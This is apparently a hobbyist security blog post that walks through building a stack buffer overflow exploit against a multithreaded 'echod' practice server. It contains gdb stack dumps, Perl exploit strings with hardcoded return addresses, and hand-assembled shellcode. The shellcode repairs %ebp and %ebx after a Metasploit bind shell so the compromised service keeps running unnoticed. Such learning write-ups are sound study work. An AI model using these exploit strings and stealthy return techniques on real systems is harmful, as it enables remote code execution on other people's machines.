|
|
-atlas wandering-
Bloggorama for breaking things
\
Categories:
Subscribe
Subscribe
to a (RSS) feed of this weblog.
atlasutils-2.2.11.tgz
atlasutils-current.tgz
|
|
|
Stack Rebuilding
Well, as for the "next target", I've selected visigoth's "fucktcpd".
But that's another post. Right now I wanted to share a little about
rebuilding echod's stack so it returned properly.
*) Start with the basics (I know nothing about this, so I'm feeling my
way): Returning in the program
A quick backtrace from the "reverse_echo_cmd" sub (using the debugger
gdb) shows that returning correctly should send the instruction pointer
to 0x804916a.
Hmmmmm, I know that at the beginning of each sub is a
push %ebp
mov %esp,%ebp
and checking the contents of the stack show the address at %ebp+4, aka
0x4(%ebp):
13: x/32xw $ebp - 92
0xbfaedeec: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedefc: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf0c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf1c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf2c: 0x00000000 0xbfaedf50 0x0804c6bb 0x0804c6bc
0xbfaedf3c: 0x00000000 0xbfaedfec 0x08054700 0xbfaedfb8
0xbfaedf4c: 0x0804916a 0x00000004 0x00000002
0xbfaedf70
0xbfaedf5c: 0x00000000 0x00000000 0x00000000 0x0804a748
(%ebp is in bold and 0x4(%ebp) is
shown in italics)
We already knew this since that's the address we had to overwrite.
We'll refer to this snippit later on as we clean up the stack.
So I set a breakpoint at the "leave" instruction for this sub. Then,
allow the instruction to execute using "si".
I'm next left with the stack looking like this:
14: x/32xw $esp
0xbfaedf4c: 0x0804916a 0x00000004 0x00000002 0xbfaedf70
0xbfaedf5c: 0x00000000 0x00000000 0x00000000 0x0804a748
0xbfaedf6c: 0x00000002 0x0804a900 0x0804a904 0x00000000
0xbfaedf7c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf8c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf9c: 0x00000000 0x00000000 0xbfaedf70 0x0000007d
0xbfaedfac: 0x00000004 0x00000000 0x00000000 0xbfaedfd8
0xbfaedfbc: 0x2807faf1 0xbfbfecc4 0x00000000 0x00000000
13: x/32xw $ebp - 92
0xbfaedf5c: 0x00000000 0x00000000 0x00000000 0x0804a748
0xbfaedf6c: 0x00000002 0x0804a900 0x0804a904 0x00000000
0xbfaedf7c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf8c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf9c: 0x00000000 0x00000000 0xbfaedf70 0x0000007d
0xbfaedfac: 0x00000004 0x00000000 0x00000000 0xbfaedfd8
0xbfaedfbc: 0x2807faf1 0xbfbfecc4 0x00000000 0x00000000
0xbfaedfcc: 0x00000000 0x00000000 0x280964bc 0x00000000
(the top part shows the stack starting with %esp. the
bottom views the stack so that %ebp is on the right side of the sixth
row, or the third from the bottom. in case you can't tell, these are
two of my favorite "display" settings in gdb)
Key point: See our favorite address at the very top of the stack. After
poking around, the "leave" function reverses the beginning of the sub:
mov %ebp, %esp
pop %ebp
All that's left to do after that is to return to the calling
function...
So, when we're done with the shellcode (I broke the execve() call to tinker), we'll simply push 0x804916a and
then ret... Let's try it:
push $0x804916a
ret
This did indeed return me into handle_client where we left off, but I
get a segfault soon thereafter.
hmmm... it appears we have thrashed the stack, and must so some
rebuilding.
Comparing at the start of the NOP sled to post-shellcode (sorry, no
screenshots for this one), it seems the shellcode used leaves 0x58
bytes on the stack. Well, they can't be blamed for not expecting
us to return here. Let's try readjusting %esp like so:
add $0x58,%esp
---------------------
clean up stack (messy, messy shellcodeses!)
Comparing again, %esp is where it should be. %ebp, however, is
*completely* smashed. Remember, the "leave" command did the "pop
%ebp"? Well, my initial sploit overwrote everything up to the
return address with "A", so of course, %ebp looks like "0x41414141".
So, I make the change in my sploit to overwrite this space with
the correct value of %ebp afterward (which we'll find is a problem
later), and a couple other fixes:
$string = "REV \x05\xbf\xae\xdb\x50\xbf\xae\xdf\xb8\x08\x04\xad\x04\xbf\xae\xdf\xec\xbf\xae\xdf\x3d" . "A"x94 . reverse($shellcode) . $NOP;
(you may wonder about the initial \x05. The
string ends in 0x00, and this byte overwrites the significant part of
the next value on the stack: 0x00000005. By prepending the \x05,
we overwrite the *next* byte with the 0x00, which happens to already
equal that )
This worked! However, in the process of figuring this out, I ran
across another nifty fact about Multithreadded apps which I'll get into
in a few minutes.
So, we have returned into the calling sub, reset %esp to it's
appropriate place, and %ebp now returns to its appointed position.
That should be good, right? wrong. Don't get me
wrong, this was quite an accomplishment, but I'm not quite there yet.
We are returning into handle_client fine, and disconnecting the
connection does allow handle_client to exit, and the thread looks like
it's about to be recycled... then it SegFaults.
What? Hmmmm.... So what are we missing? Well,
apparently the thread destructor does a jmp %ebx or somesuch.... and of
course, %ebx is used in the shellcode. DOH! So, ok, I'll
push %ebx at the beginning of the shellcode, then pop it off later.
That seems to work, at least as far as I have pursued it so
far... More on that later (perhaps in another post).
The problem that keeps nagging me at this point is as follows:
I'm discovering that this sucker assigns a chunk of stack space
for each thread. So the first thread might be at 0xbfaeXXXX, the
second thread is then at 0xbfadXXXX, and the next thread at 0xbfacXXXX
and so on. I can predict where *within that space* the data is
going to reside, however, I can't predict what thread I'll get...
And worse yet, this puppy doesn't just affect returning
gracefully, this affects exploit execution altogether. I'm
returning into the stack, so that stack has to be the same, or my
sploit has to magically change on-the-fly prior to any
sploit-execution... Not very possibly in *this* universe. I
had been experiencing odd inconsistencies on occasion, and it looks
like this is the culprit.
The solution, however, was quite nice. Ok, so the stack space is
dynamic and a change of threads can totally screw up the exploit.
There happens to be a place in memory this data gets copied to
for every thread: 0x804a904
This is shared memory, so it's still possible to run into issues if
other threads write to it before we can execute the shellcode, but it's
the best things I can find. One key point: This data is
*PRE-REVERSING* so the shellcode has to go back to straight-forward.
So the sploit code starts to look like this:
$string = "REV \x05\x08\x04\xa9\x50\xbf\xae\xdf\xb8\x08\x04\xad\x04\xbf\xae\xdf\xec\xbf\xae\xdf\x3d" . "A"x93 . $shellcode . $NOP;
We dropped the return pointer a little after the start of the
memory buffer so as not to try to execute the "stack repairing" data as
code.
Ok, so we can execute code regardless of thread... but now we have the
whole return gracefully thing. If we hard-code the %ebp
replacement (as we currently are) we could really cause nasties, as the
%ebp for thread 2 would then point to the stack for thread 1! Not
good. Solution?
My choice was to compare %ebp to %esp. Luckily the relationship
appears static at this point in the code. %ebp is consistently
0x68 bytes greater than %esp. So we just add 0x68 to %esp and we
get %ebp, right? Well, sorta. There are two tricks to it:
- We have to make %ebp = %esp, then do the addition to %ebp.
- We can't simply add 0x68, since that compiles to
\x81\xc5\x68\x00\x00\x00 and that is not String-friendly (ie.
The string ends at the first \x00, boys)
- We're not only interested in %ebp's location, but also interested
in the content there. This determines the *next* part of the
stack trace, apparently 0x20 bytes north of here.
My solution looks a little like this:
54
push
%esp
(clean up ebp)
5d
pop
%ebp
# "
81 c5 68 01 01 01
add
$0x1010168,%ebp # + 68
-1
81 ed 01 01 01 01
sub
$0x1010101,%ebp #
"
89 6d
01
mov
%ebp,0x1(%ebp)
# "
83 45 01
21
addl
$0x21,0x1(%ebp) #
"
45
inc
%ebp
(done cleaning up ebp)
Start off setting %ebp=%esp.
Then, add 0x01010168 to %ebp (no zeros)
Next, subtract 0x01010101 from %ebp (putting %ebp at 1 less than it should be)
Then, we put %ebp's value into the location %ebp should be pointing at
Increment that value by 0x21 (0x20 + the 1 off that %ebp is currently)
Finally, increment %ebp to its proper location.
Why did I leave %ebp one-off? Because writing directly to %ebp
causes a 0x00 to show up, ending the string and foiling the overflow
attempt.
Ok, so the shellcode ends up looking like this:
<NOP SLED>
0x804a976 <recv_msg.0+118>:
push %ebx
save ebx for later
<METASPLOIT BSD BIND SHELL>
0x804a9c5 <recv_msg.0+197>:
add $0x58,%esp
--------------------- clean up stack
(messy, messy shellcodeses!)
0x804a9c8 <recv_msg.0+200>:
pop %ebx
clean up ebx
0x804a9c9 <recv_msg.0+201>:
push %esp
clean up ebp
0x804a9ca <recv_msg.0+202>:
pop %ebp
"
0x804a9cb <recv_msg.0+203>:
add $0x1010168,%ebp
"
0x804a9d1 <recv_msg.0+209>:
sub $0x1010101,%ebp
"
0x804a9d7 <recv_msg.0+215>:
mov %ebp,0x1(%ebp)
"
0x804a9da <recv_msg.0+218>:
addl $0x21,0x1(%ebp)
"
0x804a9de <recv_msg.0+222>:
inc %ebp
"
0x804a9df <recv_msg.0+223>:
push $0x804916a
push address for "Happy Returns"
0x804a9e4 <recv_msg.0+228>:
ret
return into the old happy hunting
grounds!
Ok, here's the current state of things.
I mentioned before that I broke the execve() call while working on
this. Fixing it made the bind shell take place but then exited
(gracefully :( )
As it turns out, I don't have a fork() call before the execve(), so all
this is for naught at the moment. I have to add in the fork()
call before moving forward on the cleanup process. I believe this
will look something like this:
call fork
# duh
cmp %eax,0x0
# parent
process gets child pid in eax. child gets 0x0
jn keepgoing
# Parent moves
on to clean up stack and return
(execve code stuffs) # Child gets to execve() which then exits
keepgoing:
(cleanup stack, ret)
The next challenge I'd like to take on is connection re-use. This
is where the exploit reuses the same connection to bind the shell to.
That is a whole other ball of wax. Perhaps something for
fucktcpd? Perhaps for echod? Who knows. Stick around
to find out!
------------------------------------------
Here's directly from my notes (forgive the laziness here, just want to
include as much as possible and I've still got a lot of work and
learning to do):
Learned:
returning back into the program is not hard... simply "push (ret
address)" and "ret"
*) apparently, "leave" (executed directly before "ret") cleans up local
variables and pops off %ebp kinda like this:
mov %ebp, %esp
pop %ebp
returning back into the program *correctly* is not so much... the stack
must be in decent condition, and %ebp must be repaired...
*) While I'm able to overwrite %ebp with a typical value, the
multitreading makes this part more difficult.
*) Instead, I'm trying the following approach within my shellcode:
14: 54 push %esp
15: 5d pop %ebp
16: 81 c5 a5 01 01 01 add $0x10101a4,%ebp # + A4, size of the stack for
handle_client, the calling sub
1c: 81 ed 01 01 01 01 sub $0x1010101,%ebp #
22: 89 6d 01 mov %ebp,0x1(%ebp)
25: 83 45 01 30 addl $0x30,0x1(%ebp)
29: 45 inc %ebp
2a: 68 6a 91 04 08 push $0x804916a
2f: c3 ret
multithreaded app creates difficulties for both returning into
shellcode as well as returning gracefully....
multithreading causes issues with ebp as well.
*) each thread has its own stack space. 0xbfaexxxx for one thread while
0xbfadxxxx for another
%ebp points to its previous location, making backtraces simple?
(While Troubleshooting the %ebp and
%ebx fixing. Turns out I popped %ebx in the wrong place and threw
off the %ebp calculation)
(SPLOIT DATA)
Breakpoint 2, 0x0804916a in handle_client ()
10: x/32xw $esp
0xbfaedf50: 0x00000005 0x00000002 0xbfaedf70 0x00000000
0xbfaedf60: 0x00000000 0x00000000 0x0804a748 0x00000002
0xbfaedf70: 0x0804a900 0x0804a904 0x00000000 0x00000000
0xbfaedf80: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf90: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedfa0: 0x00000000 0xbfaedf70 0x00000425 0x00000005
0xbfaedfb0: 0x00000000 0xbfaedfd4 0xbfaedfd8 0x2807faf1
0xbfaedfc0: 0xbfbfecbc 0x00000000 0x00000000 0x00000000
9: x/32xw $ebp - 92
0xbfaedf58: 0xbfaedf70 0x00000000 0x00000000 0x00000000
0xbfaedf68: 0x0804a748 0x00000002 0x0804a900 0x0804a904
0xbfaedf78: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf88: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf98: 0x00000000 0x00000000 0x00000000 0xbfaedf70
0xbfaedfa8: 0x00000425 0x00000005 0x00000000 0xbfaedfd4
0xbfaedfb8: 0xbfaedfd8 0x2807faf1 0xbfbfecbc 0x00000000
0xbfaedfc8: 0x00000000 0x00000000 0x00000000 0x280964bc
8: /x $eax = 0x2
7: /x $ebx = 0x280964bc
6: /x $ecx = 0x1
5: /x $edx = 0x0
4: /x $edi = 0x8
3: /x $esi = 0xbfaedfec
2: /x $eflags = 0x286
1: x/i $pc 0x804916a <handle_client+206>: add $0x10,%esp
(gdb) ni
(VALID DATA)
Breakpoint 2, 0x0804916a in handle_client ()
10: x/32xw $esp
0xbfaedf50: 0x00000005 0x00000002 0xbfaedf70 0x00000000
0xbfaedf60: 0x00000000 0x00000000 0x0804a748 0x00000002
0xbfaedf70: 0x0804a900 0x0804a904 0x00000000 0x00000000
0xbfaedf80: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf90: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedfa0: 0x00000000 0xbfaedf70 0x00000019 0x00000005
0xbfaedfb0: 0x00000000 0x00000000 0xbfaedfd8 0x2807faf1
0xbfaedfc0: 0xbfbfecbc 0x00000000 0x00000000 0x00000000
9: x/32xw $ebp - 92
0xbfaedf5c: 0x00000000 0x00000000 0x00000000 0x0804a748
0xbfaedf6c: 0x00000002 0x0804a900 0x0804a904 0x00000000
0xbfaedf7c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf8c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfaedf9c: 0x00000000 0x00000000 0xbfaedf70 0x00000019
0xbfaedfac: 0x00000005 0x00000000 0x00000000 0xbfaedfd8
0xbfaedfbc: 0x2807faf1 0xbfbfecbc 0x00000000 0x00000000
0xbfaedfcc: 0x00000000 0x00000000 0x280964bc 0x00000000
8: /x $eax = 0x800
7: /x $ebx = 0x280964bc
6: /x $ecx = 0x804c100
5: /x $edx = 0x8054600
4: /x $edi = 0x8054700
3: /x $esi = 0xbfaedfec
2: /x $eflags = 0x282
1: x/i $pc 0x804916a handle_client +206="": add
$0x10,%esp
(gdb)
(Troubleshooting SegFault caused by %ebx being modified)
(pre-"REVERSE")
8: /x $eax = 0x8048f24
7: /x $ebx = 0x280964bc
6: /x $ecx = 0x2815f454
5: /x $edx = 0x0
4: /x $edi = 0x8054900
3: /x $esi = 0xbfaddfec
2: /x $eflags = 0x296
1: x/i $pc 0x8049168 <handle_client +204="">: call *%eax
----------------------------(post-"REVERSE", normal input)
Breakpoint 2, 0x0804916a in handle_client ()
8: /x $eax = 0x800
7: /x $ebx = 0x280964bc
6: /x $ecx = 0x804c100
5: /x $edx = 0x8054600
4: /x $edi = 0x8054700
3: /x $esi = 0xbfaedfec
2: /x $eflags = 0x282
1: x/i $pc 0x804916a <handle_client +206="">: add
$0x10,%esp
----------------------------(post-"REVERSE", sploit)
Breakpoint 2, 0x0804916a in handle_client ()
8: /x $eax = 0x2
7: /x $ebx = 0xbfaddf08
6: /x $ecx = 0x1
5: /x $edx = 0x0
4: /x $edi = 0x9
3: /x $esi = 0xbfaddfec
2: /x $eflags = 0x286
1: x/i $pc 0x804916a <handle_client +206="">: add
$0x10,%esp
# PRE: 53 push %ebx
# 14: 83 c4 58 add $0x58,%esp (clean up esp)
# 15: 5b pop %ebx (clean up ebx for thread-kill)
# 17: 54 push %esp (clean up ebp)
# 18: 5d pop %ebp # "
# 19: 81 c5 68 01 01 01 add $0x1010168,%ebp # + 68 -1
# 1f: 81 ed 01 01 01 01 sub $0x1010101,%ebp # "
# 25: 89 6d 01 mov %ebp,0x1(%ebp) # "
# 27: 83 45 01 21 addl $0x21,0x1(%ebp) # "
# 2c: 45 inc %ebp (done cleaning up ebp)
# 2d: 68 6a 91 04 08 push $0x804916a (return into handle_client)
# 32: c3 ret (go!)
#
[]
permanent link /
/
|
| August 2010 |
| Sun |
Mon |
Tue |
Wed |
Thu |
Fri |
Sat |
| 1 |
2 |
3 |
4 |
5 |
6 |
7 |
| 8 |
9 |
10 |
11 |
12 |
13 |
14 |
| 15 |
16 |
17 |
18 |
19 |
20 |
21 |
| 22 |
23 |
24 |
25 |
26 |
27 |
28 |
| 29 |
30 |
31 |
|
|
|
|
|
|